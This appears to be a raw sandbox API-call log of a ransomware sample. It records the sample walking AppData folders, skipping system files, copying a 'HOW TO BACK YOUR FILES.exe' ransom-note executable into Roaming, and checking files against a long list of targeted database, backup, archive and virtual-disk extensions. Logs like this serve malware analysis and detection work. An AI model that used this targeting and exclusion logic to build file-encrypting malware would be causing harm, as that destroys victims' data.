	[0040.768] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x303e8990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303e8990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1
	[0040.768] lstrcmpiW (lpString1="Local", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.768] lstrcmpiW (lpString1="Local", lpString2="Apollon865.txt.exe") returned 1
	[0040.768] lstrcmpiW (lpString1="Local", lpString2=".") returned 1
	[0040.769] lstrcmpiW (lpString1="Local", lpString2="..") returned 1
	[0040.769] lstrcmpiW (lpString1="Local", lpString2="windows") returned -1
	[0040.769] lstrcmpiW (lpString1="Local", lpString2="bootmgr") returned 1
	[0040.769] lstrcmpiW (lpString1="Local", lpString2="temp") returned -1
	[0040.769] lstrcmpiW (lpString1="Local", lpString2="pagefile.sys") returned -1
	[0040.769] lstrcmpiW (lpString1="Local", lpString2="boot") returned 1
	[0040.769] lstrcmpiW (lpString1="Local", lpString2="ids.txt") returned 1
	[0040.769] lstrcmpiW (lpString1="Local", lpString2="ntuser.dat") returned -1
	[0040.769] lstrcmpiW (lpString1="Local", lpString2="perflogs") returned -1
	[0040.769] lstrcmpiW (lpString1="Local", lpString2="MSBuild") returned -1
	[0040.769] lstrlenW (lpString="Local") returned 5
	[0040.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*") returned 39
	[0040.769] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="Local" | out: lpString1="Local") returned="Local"
	[0040.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0040.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x5983a8
	[0040.769] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7970
	[0040.769] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1
	[0040.769] lstrcmpiW (lpString1="LocalLow", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.769] lstrcmpiW (lpString1="LocalLow", lpString2="Apollon865.txt.exe") returned 1
	[0040.769] lstrcmpiW (lpString1="LocalLow", lpString2=".") returned 1
	[0040.769] lstrcmpiW (lpString1="LocalLow", lpString2="..") returned 1
	[0040.769] lstrcmpiW (lpString1="LocalLow", lpString2="windows") returned -1
	[0040.769] lstrcmpiW (lpString1="LocalLow", lpString2="bootmgr") returned 1
	[0040.769] lstrcmpiW (lpString1="LocalLow", lpString2="temp") returned -1
	[0040.769] lstrcmpiW (lpString1="LocalLow", lpString2="pagefile.sys") returned -1
	[0040.769] lstrcmpiW (lpString1="LocalLow", lpString2="boot") returned 1
	[0040.769] lstrcmpiW (lpString1="LocalLow", lpString2="ids.txt") returned 1
	[0040.769] lstrcmpiW (lpString1="LocalLow", lpString2="ntuser.dat") returned -1
	[0040.769] lstrcmpiW (lpString1="LocalLow", lpString2="perflogs") returned -1
	[0040.769] lstrcmpiW (lpString1="LocalLow", lpString2="MSBuild") returned -1
	[0040.769] lstrlenW (lpString="LocalLow") returned 8
	[0040.769] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 43
	[0040.769] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="LocalLow" | out: lpString1="LocalLow") returned="LocalLow"
	[0040.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0040.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c5458
	[0040.770] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0040.770] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x306700f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x306700f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1
	[0040.770] lstrcmpiW (lpString1="Roaming", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.770] lstrcmpiW (lpString1="Roaming", lpString2="Apollon865.txt.exe") returned 1
	[0040.770] lstrcmpiW (lpString1="Roaming", lpString2=".") returned 1
	[0040.770] lstrcmpiW (lpString1="Roaming", lpString2="..") returned 1
	[0040.770] lstrcmpiW (lpString1="Roaming", lpString2="windows") returned -1
	[0040.770] lstrcmpiW (lpString1="Roaming", lpString2="bootmgr") returned 1
	[0040.770] lstrcmpiW (lpString1="Roaming", lpString2="temp") returned -1
	[0040.770] lstrcmpiW (lpString1="Roaming", lpString2="pagefile.sys") returned 1
	[0040.770] lstrcmpiW (lpString1="Roaming", lpString2="boot") returned 1
	[0040.770] lstrcmpiW (lpString1="Roaming", lpString2="ids.txt") returned 1
	[0040.770] lstrcmpiW (lpString1="Roaming", lpString2="ntuser.dat") returned 1
	[0040.770] lstrcmpiW (lpString1="Roaming", lpString2="perflogs") returned 1
	[0040.770] lstrcmpiW (lpString1="Roaming", lpString2="MSBuild") returned 1
	[0040.770] lstrlenW (lpString="Roaming") returned 7
	[0040.770] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned 46
	[0040.770] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="Roaming" | out: lpString1="Roaming") returned="Roaming"
	[0040.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0040.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c5528
	[0040.770] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0040.770] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x306700f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x306700f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0
	[0040.770] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0040.770] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0040.770] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming"
	[0040.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5528 | out: hHeap=0x580000) returned 1
	[0040.770] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0040.770] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 45
	[0040.770] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming"
	[0040.770] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.770] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0040.771] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0040.771] GetLastError () returned 0x0
	[0040.771] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0040.771] ReadFile (in: hFile=0x14c, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0040.771] CloseHandle (hObject=0x14c) returned 1
	[0040.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0040.771] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.771] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x306700f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x306700f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.771] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.771] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.771] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.771] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x306700f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x306700f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.772] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.772] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.772] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.772] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.772] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x67213830, ftCreationTime.dwHighDateTime=0x1d4d06d, ftLastAccessTime.dwLowDateTime=0x307ff040, ftLastAccessTime.dwHighDateTime=0x1d4c619, ftLastWriteTime.dwLowDateTime=0x307ff040, ftLastWriteTime.dwHighDateTime=0x1d4c619, nFileSizeHigh=0x0, nFileSizeLow=0x17d2f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-5pF4TWq.gif", cAlternateFileName="")) returned 1
	[0040.772] lstrcmpiW (lpString1="-5pF4TWq.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.772] lstrcmpiW (lpString1="-5pF4TWq.gif", lpString2="Apollon865.txt.exe") returned -1
	[0040.772] lstrcmpiW (lpString1="-5pF4TWq.gif", lpString2=".") returned 1
	[0040.772] lstrcmpiW (lpString1="-5pF4TWq.gif", lpString2="..") returned 1
	[0040.772] lstrcmpiW (lpString1="-5pF4TWq.gif", lpString2="windows") returned -1
	[0040.772] lstrcmpiW (lpString1="-5pF4TWq.gif", lpString2="bootmgr") returned -1
	[0040.772] lstrcmpiW (lpString1="-5pF4TWq.gif", lpString2="temp") returned -1
	[0040.772] lstrcmpiW (lpString1="-5pF4TWq.gif", lpString2="pagefile.sys") returned -1
	[0040.772] lstrcmpiW (lpString1="-5pF4TWq.gif", lpString2="boot") returned -1
	[0040.772] lstrcmpiW (lpString1="-5pF4TWq.gif", lpString2="ids.txt") returned -1
	[0040.772] lstrcmpiW (lpString1="-5pF4TWq.gif", lpString2="ntuser.dat") returned -1
	[0040.772] lstrcmpiW (lpString1="-5pF4TWq.gif", lpString2="perflogs") returned -1
	[0040.772] lstrcmpiW (lpString1="-5pF4TWq.gif", lpString2="MSBuild") returned -1
	[0040.772] lstrlenW (lpString="-5pF4TWq.gif") returned 12
	[0040.772] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*") returned 47
	[0040.772] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="-5pF4TWq.gif" | out: lpString1="-5pF4TWq.gif") returned="-5pF4TWq.gif"
	[0040.772] lstrlenW (lpString="-5pF4TWq.gif") returned 12
	[0040.772] lstrlenW (lpString="Apollon865") returned 10
	[0040.772] lstrcmpiW (lpString1="pF4TWq.gif", lpString2="Apollon865") returned 1
	[0040.772] lstrlenW (lpString=".dll") returned 4
	[0040.772] lstrcmpiW (lpString1="-5pF4TWq.gif", lpString2=".dll") returned 1
	[0040.772] lstrlenW (lpString=".lnk") returned 4
	[0040.772] lstrcmpiW (lpString1="-5pF4TWq.gif", lpString2=".lnk") returned 1
	[0040.772] lstrlenW (lpString=".ini") returned 4
	[0040.772] lstrcmpiW (lpString1="-5pF4TWq.gif", lpString2=".ini") returned 1
	[0040.772] lstrlenW (lpString=".sys") returned 4
	[0040.772] lstrcmpiW (lpString1="-5pF4TWq.gif", lpString2=".sys") returned 1
	[0040.772] lstrlenW (lpString="-5pF4TWq.gif") returned 12
	[0040.772] lstrlenW (lpString="bak") returned 3
	[0040.772] lstrcmpiW (lpString1="gif", lpString2="bak") returned 1
	[0040.772] lstrlenW (lpString="ba_") returned 3
	[0040.773] lstrcmpiW (lpString1="gif", lpString2="ba_") returned 1
	[0040.773] lstrlenW (lpString="dbb") returned 3
	[0040.773] lstrcmpiW (lpString1="gif", lpString2="dbb") returned 1
	[0040.773] lstrlenW (lpString="vmdk") returned 4
	[0040.773] lstrcmpiW (lpString1=".gif", lpString2="vmdk") returned -1
	[0040.773] lstrlenW (lpString="rar") returned 3
	[0040.773] lstrcmpiW (lpString1="gif", lpString2="rar") returned -1
	[0040.773] lstrlenW (lpString="zip") returned 3
	[0040.773] lstrcmpiW (lpString1="gif", lpString2="zip") returned -1
	[0040.773] lstrlenW (lpString="tgz") returned 3
	[0040.773] lstrcmpiW (lpString1="gif", lpString2="tgz") returned -1
	[0040.773] lstrlenW (lpString="vbox") returned 4
	[0040.773] lstrcmpiW (lpString1=".gif", lpString2="vbox") returned -1
	[0040.773] lstrlenW (lpString="vdi") returned 3
	[0040.773] lstrcmpiW (lpString1="gif", lpString2="vdi") returned -1
	[0040.773] lstrlenW (lpString="vhd") returned 3
	[0040.773] lstrcmpiW (lpString1="gif", lpString2="vhd") returned -1
	[0040.773] lstrlenW (lpString="vhdx") returned 4
	[0040.773] lstrcmpiW (lpString1=".gif", lpString2="vhdx") returned -1
	[0040.773] lstrlenW (lpString="avhd") returned 4
	[0040.773] lstrcmpiW (lpString1=".gif", lpString2="avhd") returned -1
	[0040.773] lstrlenW (lpString="db") returned 2
	[0040.773] lstrcmpiW (lpString1="if", lpString2="db") returned 1
	[0040.773] lstrlenW (lpString="db2") returned 3
	[0040.773] lstrcmpiW (lpString1="gif", lpString2="db2") returned 1
	[0040.773] lstrlenW (lpString="db3") returned 3
	[0040.773] lstrcmpiW (lpString1="gif", lpString2="db3") returned 1
	[0040.773] lstrlenW (lpString="dbf") returned 3
	[0040.773] lstrcmpiW (lpString1="gif", lpString2="dbf") returned 1
	[0040.773] lstrlenW (lpString="mdf") returned 3
	[0040.773] lstrcmpiW (lpString1="gif", lpString2="mdf") returned -1
	[0040.773] lstrlenW (lpString="mdb") returned 3
	[0040.773] lstrcmpiW (lpString1="gif", lpString2="mdb") returned -1
	[0040.773] lstrlenW (lpString="sql") returned 3
	[0040.773] lstrcmpiW (lpString1="gif", lpString2="sql") returned -1
	[0040.773] lstrlenW (lpString="sqlite") returned 6
	[0040.774] lstrcmpiW (lpString1="Wq.gif", lpString2="sqlite") returned 1
	[0040.774] lstrlenW (lpString="sqlite3") returned 7
	[0040.774] lstrcmpiW (lpString1="TWq.gif", lpString2="sqlite3") returned 1
	[0040.774] lstrlenW (lpString="sqlitedb") returned 8
	[0040.774] lstrcmpiW (lpString1="4TWq.gif", lpString2="sqlitedb") returned -1
	[0040.774] lstrlenW (lpString="xml") returned 3
	[0040.774] lstrcmpiW (lpString1="gif", lpString2="xml") returned -1
	[0040.774] lstrlenW (lpString="$er") returned 3
	[0040.774] lstrcmpiW (lpString1="gif", lpString2="$er") returned 1
	[0040.774] lstrlenW (lpString="4dd") returned 3
	[0040.774] lstrcmpiW (lpString1="gif", lpString2="4dd") returned 1
	[0040.774] lstrlenW (lpString="4dl") returned 3
	[0040.774] lstrcmpiW (lpString1="gif", lpString2="4dl") returned 1
	[0040.774] lstrlenW (lpString="^^^") returned 3
	[0040.774] lstrcmpiW (lpString1="gif", lpString2="^^^") returned 1
	[0040.774] lstrlenW (lpString="abs") returned 3
	[0040.774] lstrcmpiW (lpString1="gif", lpString2="abs") returned 1
	[0040.774] lstrlenW (lpString="abx") returned 3
	[0040.774] lstrcmpiW (lpString1="gif", lpString2="abx") returned 1
	[0040.774] lstrlenW (lpString="accdb") returned 5
	[0040.774] lstrcmpiW (lpString1="q.gif", lpString2="accdb") returned 1
	[0040.774] lstrlenW (lpString="accdc") returned 5
	[0040.774] lstrcmpiW (lpString1="q.gif", lpString2="accdc") returned 1
	[0040.774] lstrlenW (lpString="accde") returned 5
	[0040.774] lstrcmpiW (lpString1="q.gif", lpString2="accde") returned 1
	[0040.774] lstrlenW (lpString="accdr") returned 5
	[0040.774] lstrcmpiW (lpString1="q.gif", lpString2="accdr") returned 1
	[0040.774] lstrlenW (lpString="accdt") returned 5
	[0040.774] lstrcmpiW (lpString1="q.gif", lpString2="accdt") returned 1
	[0040.774] lstrlenW (lpString="accdw") returned 5
	[0040.774] lstrcmpiW (lpString1="q.gif", lpString2="accdw") returned 1
	[0040.774] lstrlenW (lpString="accft") returned 5
	[0040.774] lstrcmpiW (lpString1="q.gif", lpString2="accft") returned 1
	[0040.774] lstrlenW (lpString="adb") returned 3
	[0040.774] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1
	[0040.774] lstrlenW (lpString="adb") returned 3
	[0040.774] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1
	[0040.775] lstrlenW (lpString="ade") returned 3
	[0040.775] lstrcmpiW (lpString1="gif", lpString2="ade") returned 1
	[0040.775] lstrlenW (lpString="adf") returned 3
	[0040.775] lstrcmpiW (lpString1="gif", lpString2="adf") returned 1
	[0040.775] lstrlenW (lpString="adn") returned 3
	[0040.775] lstrcmpiW (lpString1="gif", lpString2="adn") returned 1
	[0040.775] lstrlenW (lpString="adp") returned 3
	[0040.775] lstrcmpiW (lpString1="gif", lpString2="adp") returned 1
	[0040.775] lstrlenW (lpString="alf") returned 3
	[0040.775] lstrcmpiW (lpString1="gif", lpString2="alf") returned 1
	[0040.775] lstrlenW (lpString="ask") returned 3
	[0040.775] lstrcmpiW (lpString1="gif", lpString2="ask") returned 1
	[0040.775] lstrlenW (lpString="btr") returned 3
	[0040.775] lstrcmpiW (lpString1="gif", lpString2="btr") returned 1
	[0040.775] lstrlenW (lpString="cat") returned 3
	[0040.775] lstrcmpiW (lpString1="gif", lpString2="cat") returned 1
	[0040.775] lstrlenW (lpString="cdb") returned 3
	[0040.775] lstrcmpiW (lpString1="gif", lpString2="cdb") returned 1
	[0040.775] lstrlenW (lpString="ckp") returned 3
	[0040.775] lstrcmpiW (lpString1="gif", lpString2="ckp") returned 1
	[0040.775] lstrlenW (lpString="cma") returned 3
	[0040.775] lstrcmpiW (lpString1="gif", lpString2="cma") returned 1
	[0040.775] lstrlenW (lpString="cpd") returned 3
	[0040.775] lstrcmpiW (lpString1="gif", lpString2="cpd") returned 1
	[0040.775] lstrlenW (lpString="dacpac") returned 6
	[0040.775] lstrcmpiW (lpString1="Wq.gif", lpString2="dacpac") returned 1
	[0040.775] lstrlenW (lpString="dad") returned 3
	[0040.775] lstrcmpiW (lpString1="gif", lpString2="dad") returned 1
	[0040.775] lstrlenW (lpString="dadiagrams") returned 10
	[0040.775] lstrcmpiW (lpString1="pF4TWq.gif", lpString2="dadiagrams") returned 1
	[0040.775] lstrlenW (lpString="daschema") returned 8
	[0040.775] lstrcmpiW (lpString1="4TWq.gif", lpString2="daschema") returned -1
	[0040.775] lstrlenW (lpString="db-journal") returned 10
	[0040.775] lstrcmpiW (lpString1="pF4TWq.gif", lpString2="db-journal") returned 1
	[0040.775] lstrlenW (lpString="db-shm") returned 6
	[0040.775] lstrcmpiW (lpString1="Wq.gif", lpString2="db-shm") returned 1
	[0040.775] lstrlenW (lpString="db-wal") returned 6
	[0040.775] lstrcmpiW (lpString1="Wq.gif", lpString2="db-wal") returned 1
	[0040.776] lstrlenW (lpString="dbc") returned 3
	[0040.776] lstrcmpiW (lpString1="gif", lpString2="dbc") returned 1
	[0040.776] lstrlenW (lpString="dbs") returned 3
	[0040.776] lstrcmpiW (lpString1="gif", lpString2="dbs") returned 1
	[0040.776] lstrlenW (lpString="dbt") returned 3
	[0040.776] lstrcmpiW (lpString1="gif", lpString2="dbt") returned 1
	[0040.776] lstrlenW (lpString="dbv") returned 3
	[0040.776] lstrcmpiW (lpString1="gif", lpString2="dbv") returned 1
	[0040.776] lstrlenW (lpString="dbx") returned 3
	[0040.776] lstrcmpiW (lpString1="gif", lpString2="dbx") returned 1
	[0040.776] lstrlenW (lpString="dcb") returned 3
	[0040.776] lstrcmpiW (lpString1="gif", lpString2="dcb") returned 1
	[0040.776] lstrlenW (lpString="dct") returned 3
	[0040.776] lstrcmpiW (lpString1="gif", lpString2="dct") returned 1
	[0040.776] lstrlenW (lpString="dcx") returned 3
	[0040.776] lstrcmpiW (lpString1="gif", lpString2="dcx") returned 1
	[0040.776] lstrlenW (lpString="ddl") returned 3
	[0040.776] lstrcmpiW (lpString1="gif", lpString2="ddl") returned 1
	[0040.776] lstrlenW (lpString="dlis") returned 4
	[0040.776] lstrcmpiW (lpString1=".gif", lpString2="dlis") returned -1
	[0040.776] lstrlenW (lpString="dp1") returned 3
	[0040.776] lstrcmpiW (lpString1="gif", lpString2="dp1") returned 1
	[0040.776] lstrlenW (lpString="dqy") returned 3
	[0040.776] lstrcmpiW (lpString1="gif", lpString2="dqy") returned 1
	[0040.776] lstrlenW (lpString="dsk") returned 3
	[0040.776] lstrcmpiW (lpString1="gif", lpString2="dsk") returned 1
	[0040.776] lstrlenW (lpString="dsn") returned 3
	[0040.776] lstrcmpiW (lpString1="gif", lpString2="dsn") returned 1
	[0040.776] lstrlenW (lpString="dtsx") returned 4
	[0040.776] lstrcmpiW (lpString1=".gif", lpString2="dtsx") returned -1
	[0040.776] lstrlenW (lpString="dxl") returned 3
	[0040.776] lstrcmpiW (lpString1="gif", lpString2="dxl") returned 1
	[0040.776] lstrlenW (lpString="eco") returned 3
	[0040.776] lstrcmpiW (lpString1="gif", lpString2="eco") returned 1
	[0040.776] lstrlenW (lpString="ecx") returned 3
	[0040.776] lstrcmpiW (lpString1="gif", lpString2="ecx") returned 1
	[0040.776] lstrlenW (lpString="edb") returned 3
	[0040.776] lstrcmpiW (lpString1="gif", lpString2="edb") returned 1
	[0040.777] lstrlenW (lpString="epim") returned 4
	[0040.777] lstrcmpiW (lpString1=".gif", lpString2="epim") returned -1
	[0040.777] lstrlenW (lpString="fcd") returned 3
	[0040.777] lstrcmpiW (lpString1="gif", lpString2="fcd") returned 1
	[0040.777] lstrlenW (lpString="fdb") returned 3
	[0040.777] lstrcmpiW (lpString1="gif", lpString2="fdb") returned 1
	[0040.777] lstrlenW (lpString="fic") returned 3
	[0040.777] lstrcmpiW (lpString1="gif", lpString2="fic") returned 1
	[0040.777] lstrlenW (lpString="flexolibrary") returned 12
	[0040.777] lstrlenW (lpString="fm5") returned 3
	[0040.777] lstrcmpiW (lpString1="gif", lpString2="fm5") returned 1
	[0040.777] lstrlenW (lpString="fmp") returned 3
	[0040.777] lstrcmpiW (lpString1="gif", lpString2="fmp") returned 1
	[0040.777] lstrlenW (lpString="fmp12") returned 5
	[0040.777] lstrcmpiW (lpString1="q.gif", lpString2="fmp12") returned 1
	[0040.777] lstrlenW (lpString="fmpsl") returned 5
	[0040.777] lstrcmpiW (lpString1="q.gif", lpString2="fmpsl") returned 1
	[0040.777] lstrlenW (lpString="fol") returned 3
	[0040.777] lstrcmpiW (lpString1="gif", lpString2="fol") returned 1
	[0040.777] lstrlenW (lpString="fp3") returned 3
	[0040.777] lstrcmpiW (lpString1="gif", lpString2="fp3") returned 1
	[0040.777] lstrlenW (lpString="fp4") returned 3
	[0040.777] lstrcmpiW (lpString1="gif", lpString2="fp4") returned 1
	[0040.777] lstrlenW (lpString="fp5") returned 3
	[0040.777] lstrcmpiW (lpString1="gif", lpString2="fp5") returned 1
	[0040.777] lstrlenW (lpString="fp7") returned 3
	[0040.777] lstrcmpiW (lpString1="gif", lpString2="fp7") returned 1
	[0040.777] lstrlenW (lpString="fpt") returned 3
	[0040.777] lstrcmpiW (lpString1="gif", lpString2="fpt") returned 1
	[0040.777] lstrlenW (lpString="frm") returned 3
	[0040.777] lstrcmpiW (lpString1="gif", lpString2="frm") returned 1
	[0040.777] lstrlenW (lpString="gdb") returned 3
	[0040.777] lstrcmpiW (lpString1="gif", lpString2="gdb") returned 1
	[0040.777] lstrlenW (lpString="gdb") returned 3
	[0040.777] lstrcmpiW (lpString1="gif", lpString2="gdb") returned 1
	[0040.777] lstrlenW (lpString="grdb") returned 4
	[0040.777] lstrcmpiW (lpString1=".gif", lpString2="grdb") returned -1
	[0040.778] lstrlenW (lpString="gwi") returned 3
	[0040.778] lstrcmpiW (lpString1="gif", lpString2="gwi") returned -1
	[0040.778] lstrlenW (lpString="hdb") returned 3
	[0040.778] lstrcmpiW (lpString1="gif", lpString2="hdb") returned -1
	[0040.778] lstrlenW (lpString="his") returned 3
	[0040.778] lstrcmpiW (lpString1="gif", lpString2="his") returned -1
	[0040.778] lstrlenW (lpString="ib") returned 2
	[0040.778] lstrcmpiW (lpString1="if", lpString2="ib") returned 1
	[0040.778] lstrlenW (lpString="idb") returned 3
	[0040.778] lstrcmpiW (lpString1="gif", lpString2="idb") returned -1
	[0040.778] lstrlenW (lpString="ihx") returned 3
	[0040.778] lstrcmpiW (lpString1="gif", lpString2="ihx") returned -1
	[0040.778] lstrlenW (lpString="itdb") returned 4
	[0040.778] lstrcmpiW (lpString1=".gif", lpString2="itdb") returned -1
	[0040.778] lstrlenW (lpString="itw") returned 3
	[0040.778] lstrcmpiW (lpString1="gif", lpString2="itw") returned -1
	[0040.778] lstrlenW (lpString="jet") returned 3
	[0040.778] lstrcmpiW (lpString1="gif", lpString2="jet") returned -1
	[0040.778] lstrlenW (lpString="jtx") returned 3
	[0040.778] lstrcmpiW (lpString1="gif", lpString2="jtx") returned -1
	[0040.778] lstrlenW (lpString="kdb") returned 3
	[0040.778] lstrcmpiW (lpString1="gif", lpString2="kdb") returned -1
	[0040.778] lstrlenW (lpString="kexi") returned 4
	[0040.778] lstrcmpiW (lpString1=".gif", lpString2="kexi") returned -1
	[0040.778] lstrlenW (lpString="kexic") returned 5
